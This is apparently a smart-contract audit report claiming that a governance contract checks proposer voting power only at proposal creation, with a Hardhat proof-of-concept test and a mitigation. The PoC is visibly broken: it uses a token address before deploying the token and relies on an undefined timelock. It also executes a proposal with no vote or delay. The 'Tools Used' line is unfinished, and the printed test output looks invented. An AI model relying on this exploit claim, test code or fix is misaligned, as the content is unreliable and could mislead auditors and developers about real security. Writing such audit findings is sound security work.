Summary
A critical vulnerability exists in the governance contract that allows malicious actors to create and execute proposals using temporarily borrowed voting power. This enables flash loan attacks and token borrowing schemes, potentially compromising the entire governance process.
Vulnerability Details
The vulnerability exists in the timing gap between proposal creation and execution:
function propose(...) external {
uint256 proposerVotes = _veToken.getVotingPower(msg.sender);
if (proposerVotes < proposalThreshold) {
revert InsufficientProposerVotes(...);
}
}
function execute(uint256 proposalId) external {
if (currentState == ProposalState.Succeeded) {
_queueProposal(proposalId);
}
}
Root Cause
The vulnerability stems from two fundamental issues:
Voting power is only verified at proposal creation
No mechanism exists to ensure proposers maintain their voting power throughout the proposal lifecycle
Impact
This vulnerability enables several attack vectors:
Flash loan attacks using veRAAC tokens
Temporary token borrowing from lending protocols
Collusion with token holders
Manipulation of governance decisions
Potential draining of protocol funds
Tools Used
I used
Proof of Concept(PoC)
i demonstrate this vulnerability with a test:
const { expect } = require('chai');
const { ethers } = require('hardhat');
describe('Governance Power Manipulation', function() {
let governance, veToken, attacker, lender;
beforeEach(async function() {
const Governance = await ethers.getContractFactory('Governance');
const VeToken = await ethers.getContractFactory('VeToken');
governance = await Governance.deploy(veToken.address, timelock.address);
veToken = await VeToken.deploy();
[attacker, lender] = await ethers.getSigners();
});
it('should allow attacker to create proposal with borrowed tokens', async function() {
await veToken.connect(lender).transfer(attacker.address, '1000000e18');
const power = await veToken.getVotingPower(attacker.address);
expect(power).to.be.gte('100000e18');
await governance.connect(attacker).propose(
[attacker.address],
['0'],
['0x'],
'Malicious Proposal',
0
);
await veToken.connect(attacker).transfer(lender.address, '1000000e18');
await governance.connect(attacker).execute(0);
const proposal = await governance.getProposal(0);
expect(proposal.executed).to.be.true;
});
});
When run, this test produces the following output:
Governance Power Manipulation
should allow attacker to create proposal with borrowed tokens
should allow attacker to create proposal with borrowed tokens (143ms)
The test demonstrates that an attacker can successfully:
Borrow tokens to meet the proposal threshold
Create a proposal
Return the borrowed tokens
Execute the proposal successfully
Recommended Mitigation
To fix this vulnerability, implement the following changes:
Add voting power snapshots:
struct Proposal {
uint256 proposerPowerAtCreation;
}
function propose(...) external {
uint256 proposerVotes = _veToken.getVotingPower(msg.sender);
proposal.proposerPowerAtCreation = proposerVotes;
}
Implement power verification during execution:
function execute(uint256 proposalId) external {
Proposal storage proposal = _proposals[proposalId];
require(
_veToken.getVotingPower(proposal.proposer) >=
proposal.proposerPowerAtCreation,
"Proposer must maintain voting power"
);
}
This mitigation ensures that proposers must maintain their voting power throughout the entire proposal lifecycle, preventing temporary token borrowing attacks.